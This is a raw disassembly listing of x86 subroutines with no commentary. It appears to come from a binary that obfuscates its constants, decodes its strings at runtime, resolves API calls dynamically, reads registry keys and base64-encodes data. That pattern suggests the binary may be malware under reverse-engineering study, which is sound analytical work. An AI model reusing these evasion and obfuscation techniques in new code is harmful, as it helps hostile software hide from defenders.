mov edx, dword_5511F8
add edx, dword_55116C
sub edx, 8
push edx
push eax
movsx edx, word_551148
dec edx
push edx
call ds:dword_50E938
mov eax, 30h
mul edi
mov [ebp+var_218], eax
push ds:dword_4CC564[eax]
call ds:dword_48B9FC
jmp loc_442306
; ---------------------------------------------------------------------------
loc_442028: ; CODE XREF: sub_441D1A+2B2j
push offset word_551D0A
call sub_43CAF7
push eax
lea edx, [ebp+var_204]
push edx
call ds:dword_44802C
lea eax, [ebp+var_103]
push eax
lea eax, [ebp+var_204]
push eax
call ds:dword_44802C
add esp, 14h
push 0FFh
lea eax, [ebp+var_103]
push eax
mov eax, 30h
mul edi
mov [ebp+var_218], eax
push ds:dword_4CC568[eax]
call ds:dword_54FF38
mov eax, dword_551154
movsx eax, [ebp+eax+var_10B]
movsx edx, word_551210
add edx, dword_55123C
sub edx, 5
cmp eax, edx
jz loc_4421CB
lea ecx, [ebp+var_103]
or eax, 0FFFFFFFFh
loc_4420AB: ; CODE XREF: sub_441D1A+396j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4420AB
mov edx, eax
mov ecx, dword_55122C
movsx eax, word_551208
add ecx, eax
sub ecx, 4
cmp edx, ecx
jb loc_4421CB
mov eax, dword_55122C
sub eax, 7
mov [ebp+var_105], al
jmp short loc_442100
; ---------------------------------------------------------------------------
loc_4420DE: ; CODE XREF: sub_441D1A+3FFj
movzx eax, [ebp+var_105]
mov al, [ebp+eax+var_103]
cmp al, 30h
jl short loc_4420F4
cmp al, 39h
jle short loc_4420F9
loc_4420F4: ; CODE XREF: sub_441D1A+3D4j
jmp loc_4421CB
; ---------------------------------------------------------------------------
loc_4420F9: ; CODE XREF: sub_441D1A+3D8j
add [ebp+var_105], 1
loc_442100: ; CODE XREF: sub_441D1A+3C2j
lea ecx, [ebp+var_103]
or eax, 0FFFFFFFFh
loc_442109: ; CODE XREF: sub_441D1A+3F4j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_442109
movzx ecx, [ebp+var_105]
cmp ecx, eax
jb short loc_4420DE
mov eax, dword_5511E0
add eax, dword_55120C
sub eax, 8
mov [ebp+var_104], al
jmp short loc_4421A7
; ---------------------------------------------------------------------------
loc_442131: ; CODE XREF: sub_441D1A+4A6j
mov al, [ebp+var_104]
mov [ebp+var_219], al
jmp short loc_442168
; ---------------------------------------------------------------------------
loc_44213F: ; CODE XREF: sub_441D1A+467j
movzx eax, [ebp+var_219]
movsx eax, [ebp+eax+var_103]
movzx edx, [ebp+var_104]
movsx edx, [ebp+edx+var_103]
cmp eax, edx
jnz short loc_442183
add [ebp+var_219], 1
loc_442168: ; CODE XREF: sub_441D1A+423j
lea ecx, [ebp+var_103]
or eax, 0FFFFFFFFh
loc_442171: ; CODE XREF: sub_441D1A+45Cj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_442171
movzx ecx, [ebp+var_219]
cmp ecx, eax
jb short loc_44213F
loc_442183: ; CODE XREF: sub_441D1A+445j
movzx eax, [ebp+var_219]
movzx edx, [ebp+var_104]
sub eax, edx
mov edx, dword_5510BC
add edx, 3
cmp eax, edx
jg short loc_4421CB
add [ebp+var_104], 1
loc_4421A7: ; CODE XREF: sub_441D1A+415j
lea ecx, [ebp+var_103]
or eax, 0FFFFFFFFh
loc_4421B0: ; CODE XREF: sub_441D1A+49Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4421B0
movzx ecx, [ebp+var_104]
cmp ecx, eax
jb loc_442131
jmp loc_442267
; ---------------------------------------------------------------------------
loc_4421CB: ; CODE XREF: sub_441D1A+382j
; sub_441D1A+3AEj ...
mov eax, dword_551170
add eax, 7CCh
push eax
call ds:dword_50E924
push offset a5 ; "5"
call sub_43CAF7
mov [ebp-21Ch], eax
push offset word_551CBA
call sub_43CAF7
mov edx, dword_551108
sub edx, 8
push edx
push eax
mov edx, [ebp-21Ch]
push edx
mov edx, dword_55122C
add edx, dword_5510EC
sub edx, 8
push edx
call ds:dword_50E938
push offset word_551CB6
call sub_43CAF7
add esp, 10h
push eax
mov eax, 30h
mul edi
mov [ebp+var_220], eax
mov edx, eax
push ds:dword_4CC568[edx]
call ds:dword_54E954
mov eax, 30h
mul edi
mov [ebp+var_224], eax
push ds:dword_4CC568[eax]
call ds:dword_48B9FC
jmp loc_442306
; ---------------------------------------------------------------------------
loc_442267: ; CODE XREF: sub_441D1A+4ACj
push offset byte_551CB1
call sub_43CAF7
push eax
lea edx, [ebp+var_204]
push edx
call ds:dword_44802C
lea eax, [ebp+var_103]
push eax
lea eax, [ebp+var_204]
push eax
call ds:dword_44802C
mov eax, 30h
mul edi
mov [ebp+var_228], eax
push ds:dword_4CC558[eax]
call ds:dword_48C1E8
lea eax, [ebp+var_204]
push eax
call ds:dword_449014
add esp, 18h
push 5
mov eax, 30h
mul edi
mov [ebp+var_22C], eax
push ds:dword_4CC554[eax]
call ds:dword_54E958
mov eax, 30h
mul edi
mov [ebp+var_230], eax
movsx eax, word_551198
movsx edx, word_5511CC
add eax, edx
sub eax, 0Ah
mov edx, [ebp+var_230]
mov ds:dword_4CC550[edx], eax
loc_442306: ; CODE XREF: sub_441D1A+1Bj
; sub_441D1A+2Cj ...
mov edi, dword_5511DC
jmp loc_4423E8
; ---------------------------------------------------------------------------
loc_442311: ; CODE XREF: sub_441D1A+6E1j
mov eax, 30h
mul edi
mov [ebp+var_8], eax
cmp esi, ds:dword_4CC55C[eax]
jnz short loc_442348
push [ebp+arg_C]
push [ebp+arg_8]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp+var_C], eax
push ds:dword_4CC57C[eax]
call ds:dword_4CE8F8
jmp loc_442401
; ---------------------------------------------------------------------------
loc_442348: ; CODE XREF: sub_441D1A+608j
mov eax, 30h
mul edi
mov [ebp+var_10], eax
cmp esi, ds:dword_4CC568[eax]
jnz short loc_44237F
push [ebp+arg_C]
push [ebp+arg_8]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp+var_14], eax
push ds:dword_4CC578[eax]
call ds:dword_4CE8F8
jmp loc_442401
; ---------------------------------------------------------------------------
loc_44237F: ; CODE XREF: sub_441D1A+63Fj
mov eax, 30h
mul edi
mov [ebp+var_18], eax
cmp esi, ds:dword_4CC560[eax]
jnz short loc_4423B3
push [ebp+arg_C]
push [ebp+arg_8]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp+var_1C], eax
push ds:dword_4CC570[eax]
call ds:dword_4CE8F8
jmp short loc_442401
; ---------------------------------------------------------------------------
loc_4423B3: ; CODE XREF: sub_441D1A+676j
mov eax, 30h
mul edi
mov [ebp+var_20], eax
cmp esi, ds:dword_4CC564[eax]
jnz short loc_4423E7
push [ebp+arg_C]
push [ebp+arg_8]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp+var_24], eax
push ds:dword_4CC574[eax]
call ds:dword_4CE8F8
jmp short loc_442401
; ---------------------------------------------------------------------------
loc_4423E7: ; CODE XREF: sub_441D1A+6AAj
inc edi
loc_4423E8: ; CODE XREF: sub_441D1A+5F2j
mov eax, dword_5510E8
add eax, 5Eh
movsx edx, word_5510B4
add eax, edx
cmp edi, eax
jb loc_442311
loc_442401: ; CODE XREF: sub_441D1A+629j
; sub_441D1A+660j ...
pop edi
pop esi
pop ebx
leave
retn 10h
sub_441D1A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442408 proc near ; CODE XREF: sub_43E501+A6p
; sub_43E501+DCp
var_104 = byte ptr -104h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 104h
push esi
push edi
mov edi, [ebp+arg_4]
movsx eax, word_5510D0
movsx edx, word_551148
add eax, edx
sub eax, 7
cmp byte ptr [edi+eax], 2Eh
jz short loc_442474
push [ebp+arg_0]
lea eax, [ebp+var_104]
push eax
call ds:dword_44B1A4
push offset dword_551CAC
call sub_43CAF7
push eax
lea esi, [ebp+var_104]
push esi
call ds:dword_44802C
push edi
lea eax, [ebp+var_104]
push eax
call ds:dword_44802C
lea eax, [ebp+var_104]
push eax
call sub_4460DD
add esp, 20h
loc_442474: ; CODE XREF: sub_442408+25j
pop edi
pop esi
leave
retn
sub_442408 endp
; =============== S U B R O U T I N E =======================================
sub_442478 proc near ; CODE XREF: sub_43D0C6+C3p
; sub_43D0C6+122p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov ebx, [esp+8+arg_0]
mov esi, [esp+8+arg_4]
mov ecx, dword_551214
add ecx, 1Dh
mov eax, dword_55121C
movsx edx, word_5511F0
add eax, edx
sub eax, 9
sub ecx, eax
jmp short loc_4424BE
; ---------------------------------------------------------------------------
loc_4424A0: ; CODE XREF: sub_442478+4Ej
mov dx, [ebx+ecx*2]
cmp dx, [esi+ecx*2]
jnb short loc_4424AE
xor eax, eax
jmp short loc_4424CB
; ---------------------------------------------------------------------------
loc_4424AE: ; CODE XREF: sub_442478+30j
mov dx, [ebx+ecx*2]
cmp dx, [esi+ecx*2]
jbe short loc_4424BD
xor eax, eax
inc eax
jmp short loc_4424CB
; ---------------------------------------------------------------------------
loc_4424BD: ; CODE XREF: sub_442478+3Ej
dec ecx
loc_4424BE: ; CODE XREF: sub_442478+26j
mov eax, dword_551224
dec eax
cmp ecx, eax
jge short loc_4424A0
xor eax, eax
inc eax
loc_4424CB: ; CODE XREF: sub_442478+34j
; sub_442478+43j
pop esi
pop ebx
retn
sub_442478 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4424CE proc near ; CODE XREF: sub_440A1B+27Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_8]
mov ebx, [ebp+arg_C]
xor edi, edi
jmp short loc_4424FF
; ---------------------------------------------------------------------------
loc_4424DE: ; CODE XREF: sub_4424CE+37j
mov edx, ds:dword_44B9E0[edi*4]
mov ds:dword_448008, edx
push offset sub_43F41A
push ebx
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_448008
inc edi
loc_4424FF: ; CODE XREF: sub_4424CE+Ej
cmp edi, dword_5512A4
jb short loc_4424DE
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4424CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44250C proc near ; CODE XREF: sub_44726D+1E1p
; sub_44726D+204p ...
var_4B = byte ptr -4Bh
var_19 = byte ptr -19h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
call ds:dword_54EA70
mov [ebp+var_4], eax
mov ebx, [ebp+arg_0]
mov esi, dword_5510B8
sub esi, 4
jmp short loc_442578
; ---------------------------------------------------------------------------
loc_44252C: ; CODE XREF: sub_44250C+7Ej
mov edx, dword_5511EC
sub edx, 3
cmp ds:dword_44A0E0[esi*4], edx
jz short loc_442577
mov edx, ds:dword_4CD950[esi*4]
mov ecx, dword_5510D8
add ecx, 0EA5Ah
mov eax, dword_5510A0
add eax, dword_551158
dec eax
imul ecx, eax
add edx, ecx
cmp edx, [ebp+var_4]
jnb short loc_442577
mov edx, dword_5511B0
sub edx, 7
mov ds:dword_44A0E0[esi*4], edx
loc_442577: ; CODE XREF: sub_44250C+30j
; sub_44250C+59j
inc esi
loc_442578: ; CODE XREF: sub_44250C+1Ej
mov eax, dword_5511D0
add eax, 3E0h
add eax, dword_5510EC
cmp esi, eax
jb short loc_44252C
loc_44258C: ; CODE XREF: sub_44250C+A3j
; sub_44250C+256j
mov eax, [ebx]
mov [ebp+var_10], eax
lea ebx, [ebx+eax]
mov eax, ebx
sub eax, [ebp+arg_0]
cmp eax, [ebp+arg_4]
jnb loc_442768
movsx eax, word_551164
add eax, 3
cmp [ebp+var_10], eax
ja short loc_44258C
mov eax, ebx
sub eax, [ebp+arg_0]
mov edx, dword_551158
add edx, dword_551124
dec edx
sub eax, edx
mov [ebp+var_8], eax
mov ecx, ebx
or eax, 0FFFFFFFFh
loc_4425CD: ; CODE XREF: sub_44250C+C6j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4425CD
mov [ebp+var_C], eax
mov eax, dword_551248
mov edi, eax
add edi, dword_5510AC
sub edi, 0Bh
jmp short loc_44261E
; ---------------------------------------------------------------------------
loc_4425E9: ; CODE XREF: sub_44250C+11Ej
mov edx, dword_5511EC
add edx, dword_5510A4
sub edx, 0Ah
cmp ds:dword_44A0E0[edi*4], edx
jz short loc_44261D
mov edx, [ebp+var_8]
cmp ds:dword_449020[edi*4], edx
jnz short loc_44261D
mov dl, ds:byte_44B1B0[edi]
cmp dl, [ebp+arg_10]
jz loc_44274D
loc_44261D: ; CODE XREF: sub_44250C+F3j
; sub_44250C+FFj
inc edi
loc_44261E: ; CODE XREF: sub_44250C+DBj
mov eax, dword_55120C
add eax, 3E4h
cmp edi, eax
jb short loc_4425E9
mov eax, dword_551188
add eax, 3BBh
cmp [ebp+var_C], eax
jbe loc_4426F7
mov eax, dword_551120
inc eax
add eax, dword_5511BC
push eax
lea eax, [ebp+var_4B]
push eax
call sub_43EDF9
add esp, 8
mov eax, dword_5511BC
add eax, 3B2h
movsx edx, word_5511C4
add eax, edx
mov [ebp+var_14], eax
mov eax, dword_55122C
sub eax, 7
mov [ebp+var_18], eax
loc_442679: ; CODE XREF: sub_44250C+1E9j
mov eax, [ebp+var_14]
mov al, [ebx+eax]
mov [ebp+var_19], al
mov eax, [ebp+var_14]
movsx edx, word_5511C4
add edx, dword_5511F4
sub edx, 11h
mov [ebx+eax], dl
push offset dword_449FE0
push [ebp+var_C]
push [ebp+var_18]
lea eax, [ebp+var_4B]
push eax
mov eax, [ebp+arg_C]
push dword ptr [eax]
push [ebp+arg_0]
push ebx
push [ebp+arg_8]
movsx eax, word_551208
dec eax
and eax, 0FFh
push eax
call sub_442B82
add esp, 24h
mov eax, [ebp+var_14]
mov [ebp+var_18], eax
mov dl, [ebp+var_19]
mov [ebx+eax], dl
mov eax, dword_551230
add eax, 3BFh
add [ebp+var_14], eax
mov eax, [ebp+var_C]
cmp [ebp+var_14], eax
jbe short loc_4426ED
mov [ebp+var_14], eax
loc_4426ED: ; CODE XREF: sub_44250C+1DCj
mov eax, [ebp+var_C]
cmp [ebp+var_18], eax
jnb short loc_442748
jmp short loc_442679
; ---------------------------------------------------------------------------
loc_4426F7: ; CODE XREF: sub_44250C+12Dj
push offset byte_551CA7
call sub_43CAF7
push offset dword_449FE0
push [ebp+var_C]
movsx edx, word_5511A4
movsx ecx, word_551198
add edx, ecx
sub edx, 7
push edx
push eax
mov edx, [ebp+arg_C]
push dword ptr [edx]
push [ebp+arg_0]
push ebx
push [ebp+arg_8]
mov edx, dword_5510A0
add edx, dword_551114
sub edx, 4
and edx, 0FFh
push edx
call sub_442B82
add esp, 28h
loc_442748: ; CODE XREF: sub_44250C+1E7j
mov eax, [ebp+arg_C]
inc dword ptr [eax]
loc_44274D: ; CODE XREF: sub_44250C+10Bj
mov eax, [ebp+var_C]
lea ebx, [ebx+eax]
inc ebx
mov eax, [ebp+arg_C]
mov edx, dword_551228
add edx, 0Ch
cmp [eax], edx
jbe loc_44258C
loc_442768: ; CODE XREF: sub_44250C+90j
push offset byte_551CA3
call sub_43CAF7
push offset dword_449FE0
mov edx, dword_5511D8
movsx ecx, word_5510D0
add edx, ecx
sub edx, 0Ah
push edx
movsx edx, word_55113C
sub edx, 9
push edx
push eax
push edx
movsx edx, word_5511A4
sub edx, 6
push edx
movsx edx, word_551118
sub edx, 8
push edx
push [ebp+arg_8]
mov edx, dword_5511E0
add edx, dword_5511E4
sub edx, 7
and edx, 0FFh
push edx
call sub_442B82
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_44250C endp
; =============== S U B R O U T I N E =======================================
sub_4427D3 proc near ; CODE XREF: sub_446ED7+25p
push edi
push offset word_551C96
call sub_43CAF7
pop ecx
push eax
call ds:dword_44B598
mov dword_551264, eax
mov eax, dword_5511B8
add eax, dword_551204
sub eax, 6
cmp dword_551264, eax
jnz short loc_442818
push offset byte_551C89
call sub_43CAF7
pop ecx
push eax
call ds:dword_48C218
mov dword_551264, eax
loc_442818: ; CODE XREF: sub_4427D3+2Cj
push offset byte_551C77
call sub_43CAF7
push eax
push dword_551264
call ds:dword_44B1AC
mov ds:dword_44B08C, eax
push offset byte_551C67
call sub_43CAF7
push eax
push dword_551264
call ds:dword_44B1AC
mov ds:dword_44B084, eax
push offset dword_551C54
call sub_43CAF7
push eax
push dword_551264
call ds:dword_44B1AC
mov ds:dword_550048, eax
push offset dword_551C40
call sub_43CAF7
push eax
push dword_551264
call ds:dword_44B1AC
mov ds:dword_44B5D4, eax
push offset byte_551C31
call sub_43CAF7
push eax
push dword_551264
call ds:dword_44B1AC
mov ds:dword_50E93C, eax
push offset dword_551C20
call sub_43CAF7
add esp, 18h
push eax
push dword_551264
call ds:dword_44B1AC
mov ds:dword_48C1EC, eax
pop edi
retn
sub_4427D3 endp
; =============== S U B R O U T I N E =======================================
sub_4428C5 proc near ; CODE XREF: sub_446ED7+2Ap
push edi
push offset word_551C12
call sub_43CAF7
pop ecx
push eax
call ds:dword_44B598
mov dword_55125C, eax
movsx eax, word_5511C4
sub eax, 8
cmp dword_55125C, eax
jnz short loc_442906
push offset dword_551C04
call sub_43CAF7
pop ecx
push eax
call ds:dword_48C218
mov dword_55125C, eax
loc_442906: ; CODE XREF: sub_4428C5+28j
push offset word_551BF2
call sub_43CAF7
push eax
call sub_445A0A
mov ds:dword_44B5C8, eax
push offset dword_551BE0
call sub_43CAF7
push eax
call sub_445A0A
mov ds:dword_4CE914, eax
push offset byte_551BC9
call sub_43CAF7
push eax
call sub_445A0A
mov ds:dword_44B5A4, eax
push offset word_551BB6
call sub_43CAF7
push eax
call sub_445A0A
mov ds:dword_4CD93C, eax
push offset byte_551BA5
call sub_43CAF7
push eax
call sub_445A0A
mov ds:dword_50E930, eax
push offset asc_551B97 ; "\n"
call sub_43CAF7
push eax
call sub_445A0A
mov ds:dword_54E958, eax
push offset byte_551B85
call sub_43CAF7
push eax
call sub_445A0A
mov ds:dword_44B090, eax
push offset asc_551B79 ; "\b"
call sub_43CAF7
push eax
call sub_445A0A
mov ds:dword_48B9FC, eax
push offset asc_551B6D ; "\b"
call sub_43CAF7
push eax
call sub_445A0A
mov ds:dword_4CE8F4, eax
push offset byte_551B59
call sub_43CAF7
push eax
call sub_445A0A
mov ds:dword_54EB00, eax
push offset byte_551B49
call sub_43CAF7
push eax
call sub_445A0A
mov ds:dword_448018, eax
push offset byte_551B37
call sub_43CAF7
push eax
call sub_445A0A
mov ds:dword_44B5AC, eax
push offset word_551B26
call sub_43CAF7
push eax
call sub_445A0A
mov ds:dword_449FD0, eax
push offset dword_551B14
call sub_43CAF7
push eax
call sub_445A0A
mov ds:dword_54FF38, eax
push offset byte_551B01
call sub_43CAF7
push eax
call sub_445A0A
mov ds:dword_4CE8F8, eax
push offset dword_551AF0
call sub_43CAF7
push eax
call sub_445A0A
mov ds:dword_54E950, eax
push offset byte_551AE3
call sub_43CAF7
push eax
call sub_445A0A
mov ds:dword_448004, eax
push offset dword_551AD4
call sub_43CAF7
push eax
call sub_445A0A
mov ds:dword_4CC548, eax
push offset dword_551AC0
call sub_43CAF7
push eax
call sub_445A0A
mov ds:dword_449018, eax
push (offset asc_551AB0+2)
call sub_43CAF7
push eax
call sub_445A0A
mov ds:dword_449000, eax
push offset dword_551A9C
call sub_43CAF7
push eax
call sub_445A0A
mov ds:dword_449010, eax
push offset word_551A8A
call sub_43CAF7
push eax
call sub_445A0A
mov ds:dword_54E954, eax
push offset byte_551A79
call sub_43CAF7
push eax
call sub_445A0A
mov ds:dword_48C1E8, eax
push offset word_551A6A
call sub_43CAF7
push eax
call sub_445A0A
add esp, 0C0h
mov ds:dword_50E938, eax
pop edi
retn
sub_4428C5 endp
; =============== S U B R O U T I N E =======================================
sub_442B06 proc near ; CODE XREF: sub_446ED7+302p
push 2
call sub_443DB2
push 0
call sub_443DB2
add esp, 8
retn
sub_442B06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442B18 proc near ; CODE XREF: sub_44181A+79p
; sub_44181A+197p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
push edi
lea eax, [ebp+var_4]
push eax
push 20019h
movsx eax, word_5510CC
dec eax
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_44B59C
mov edi, eax
or edi, edi
jz short loc_442B45
xor eax, eax
jmp short loc_442B7F
; ---------------------------------------------------------------------------
loc_442B45: ; CODE XREF: sub_442B18+27j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_14]
mov eax, dword_5510E4
add eax, dword_5511B0
sub eax, 0Ch
push eax
push [ebp+arg_8]
push [ebp+var_4]
call ds:dword_44804C
mov edi, eax
push [ebp+var_4]
call ds:dword_4CE904
or edi, edi
jz short loc_442B7C
xor eax, eax
jmp short loc_442B7F
; ---------------------------------------------------------------------------
loc_442B7C: ; CODE XREF: sub_442B18+5Ej
xor eax, eax
inc eax
loc_442B7F: ; CODE XREF: sub_442B18+2Bj
; sub_442B18+62j
pop edi
leave
retn
sub_442B18 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442B82 proc near ; CODE XREF: sub_43E284+CAp
; sub_44250C+1B5p ...
var_2F038 = dword ptr -2F038h
var_2F033 = byte ptr -2F033h
var_F034 = dword ptr -0F034h
var_F030 = dword ptr -0F030h
var_F02B = byte ptr -0F02Bh
var_F02A = dword ptr -0F02Ah
var_F022 = byte ptr -0F022h
var_EF23 = byte ptr -0EF23h
var_EE24 = byte ptr -0EE24h
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
mov eax, 2F038h
call sub_4475B4
push ebx
push esi
push edi
movsx edi, word_551164
imul edi, 3C0h
movsx esi, word_5510C4
add esi, 0EA5Ah
lea edi, [edi+esi+3C0h]
shl edi, 1
mov [ebp+var_2F038], edi
push edi
call sub_447539
add esp, 4
mov [ebp+var_F02A], eax
movzx eax, [ebp+arg_0]
movsx edx, word_5511CC
add edx, dword_5511EC
sub edx, 0Bh
cmp eax, edx
jnz short loc_442C05
push offset asc_551A5F ; "\a"
call sub_43CAF7
add esp, 4
push eax
lea edi, [ebp+var_EE24]
push edi
call ds:dword_50E928
add esp, 8
jmp loc_442DD8
; ---------------------------------------------------------------------------
loc_442C05: ; CODE XREF: sub_442B82+5Ej
call ds:dword_48C1F0
mov ebx, eax
mov [ebp+var_F02B], bl
push offset byte_551A3D
call sub_43CAF7
add esp, 4
push eax
lea edi, [ebp+var_EF23]
push edi
call ds:dword_44B1A4
add esp, 8
movzx eax, [ebp+arg_0]
movsx edx, word_551148
add edx, dword_55116C
sub edx, 4
cmp eax, edx
jnz short loc_442CA6
movsx eax, word_551194
mov edx, dword_5510C0
lea eax, [eax+edx+4]
and eax, 0FFh
push eax
lea eax, [ebp+var_F022]
push eax
push [ebp+arg_8]
call sub_443795
add esp, 0Ch
push offset byte_551A29
call sub_43CAF7
add esp, 4
movzx edi, [ebp+var_F02B]
push edi
lea edi, [ebp+var_F022]
push edi
lea edi, [ebp+var_EF23]
push edi
push eax
lea edi, [ebp+var_EE24]
push edi
call ds:dword_50E928
add esp, 14h
loc_442CA6: ; CODE XREF: sub_442B82+C5j
movzx eax, [ebp+arg_0]
movsx edx, word_5510B4
add edx, dword_551124
sub edx, 7
cmp eax, edx
jnz loc_442DD8
movsx eax, word_5511A4
movsx edx, word_5510F8
add eax, edx
sub eax, 0Bh
and eax, 0FFh
push eax
lea eax, [ebp+var_F022]
push eax
push dword_5512C4
call sub_443795
add esp, 0Ch
push offset word_5519E2
call sub_43CAF7
add esp, 4
mov edi, [ebp+arg_18]
mov esi, [ebp+arg_8]
mov ebx, edi
add ebx, esi
push ebx
movsx ebx, word_551148
mov edx, dword_551134
lea ebx, [ebx+edx+3]
push ebx
push [ebp+arg_1C]
push edi
push [ebp+arg_14]
movzx edi, [ebp+var_F02B]
push edi
mov edi, esi
sub edi, [ebp+arg_C]
movsx esi, word_55113C
add esi, dword_5511B8
sub esi, 9
sub edi, esi
push edi
push offset dword_48C200
push [ebp+arg_10]
push [ebp+arg_20]
lea edi, [ebp+var_F022]
push edi
lea edi, [ebp+var_EF23]
push edi
push eax
lea edi, [ebp+var_EE24]
push edi
call ds:dword_50E928
add esp, 38h
mov eax, dword_551224
cmp [ebp+arg_10], eax
jnz short loc_442DD8
dec eax
cmp [ebp+arg_18], eax
jnz short loc_442DD8
push offset word_5519BE
call sub_43CAF7
add esp, 4
push offset byte_54EB10
movsx edi, word_551104
mov esi, dword_551114
lea edi, [edi+esi+5]
push edi
push [ebp+arg_20]
lea edi, [ebp+var_F022]
push edi
lea edi, [ebp+var_EF23]
push edi
push eax
lea edi, [ebp+var_2F033]
push edi
call ds:dword_50E928
add esp, 1Ch
lea eax, [ebp+var_2F033]
push eax
lea eax, [ebp+var_EE24]
push eax
call ds:dword_44802C
add esp, 8
loc_442DD8: ; CODE XREF: sub_442B82+7Ej
; sub_442B82+13Aj ...
push [ebp+var_2F038]
push [ebp+var_F02A]
movsx eax, word_5511CC
add eax, dword_5510E4
sub eax, 0Dh
neg eax
push eax
lea eax, [ebp+var_EE24]
push eax
movsx eax, word_551244
sub eax, 7
push eax
push 0
call ds:dword_50E934
push offset asc_5519A4 ; "\t"
call sub_43FEC5
add esp, 4
push eax
call ds:dword_44900C
mov [ebp+var_F030], eax
push [ebp+var_F02A]
call ds:dword_44900C
mov [ebp+var_F034], eax
push eax
push [ebp+var_F030]
mov eax, [ebp+arg_4]
push eax
mov ebx, [eax]
call dword ptr [ebx+104h]
push [ebp+var_F030]
call ds:dword_54FF34
push [ebp+var_F034]
call ds:dword_54FF34
lea esp, [ebp-2F044h]
pop edi
pop esi
pop ebx
leave
retn
sub_442B82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442E73 proc near ; CODE XREF: sub_43F41A+B4p
var_7 = byte ptr -7
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov esi, [ebp+arg_8]
mov eax, ebx
add eax, 2
mov ecx, 3
mov edx, 0AAAAAAABh
mul edx
shr edx, 1
mov [ebp+var_4], edx
mov edi, edx
shl edi, 2
mov edx, [ebp+arg_C]
dec edx
cmp edi, edx
jbe short loc_442EAB
xor eax, eax
jmp loc_442FAB
; ---------------------------------------------------------------------------
loc_442EAB: ; CODE XREF: sub_442E73+2Fj
push offset a@ ; "@"
call sub_43CAF7
pop ecx
push eax
push offset byte_54FF40
call sub_4475D4
jmp short loc_442EF8
; ---------------------------------------------------------------------------
loc_442EC3: ; CODE XREF: sub_442E73+98j
push esi
push [ebp+arg_0]
call sub_43F98E
add esp, 8
mov eax, dword_5510C0
inc eax
sub ebx, eax
movsx eax, word_5511F0
sub eax, 3
add eax, [ebp+arg_0]
mov [ebp+arg_0], eax
mov eax, dword_5511B8
add eax, dword_5511D4
sub eax, 8
lea esi, [esi+eax]
loc_442EF8: ; CODE XREF: sub_442E73+4Ej
mov eax, dword_5510B0
movsx edx, word_551210
add eax, edx
sub eax, 7
cmp ebx, eax
jnb short loc_442EC3
mov eax, dword_5511AC
sub eax, 2
cmp ebx, eax
jbe short loc_442F91
push 3
mov eax, dword_5511B4
sub eax, 4
push eax
lea eax, [ebp+var_7]
push eax
call ds:dword_4CD934
push ebx
push [ebp+arg_0]
lea eax, [ebp+var_7]
push eax
call ds:dword_4CD814
push esi
lea eax, [ebp+var_7]
push eax
call sub_43F98E
add esp, 20h
movsx eax, word_551164
movsx edx, word_55109C
add eax, edx
sub eax, 6
cmp ebx, eax
jnz short loc_442F74
movsx eax, word_5510F8
add eax, dword_551124
sub eax, 5
mov byte ptr [esi+eax], 3Dh
loc_442F74: ; CODE XREF: sub_442E73+EBj
mov eax, dword_5511BC
add eax, dword_5510C0
sub eax, 5
mov byte ptr [esi+eax], 3Dh
movsx eax, word_551148
lea esi, [eax+esi+3]
loc_442F91: ; CODE XREF: sub_442E73+A4j
movsx eax, word_551240
sub eax, 8
movsx edx, word_551210
sub edx, 5
mov [esi+eax], dl
xor eax, eax
inc eax
loc_442FAB: ; CODE XREF: sub_442E73+33j
pop edi
pop esi
pop ebx
leave
retn
sub_442E73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_442FB0 proc near ; CODE XREF: sub_446ED7+3Ep
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_1FE = byte ptr -1FEh
var_10F = byte ptr -10Fh
var_FF = byte ptr -0FFh
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
call sub_44322A
or eax, eax
jz loc_443202
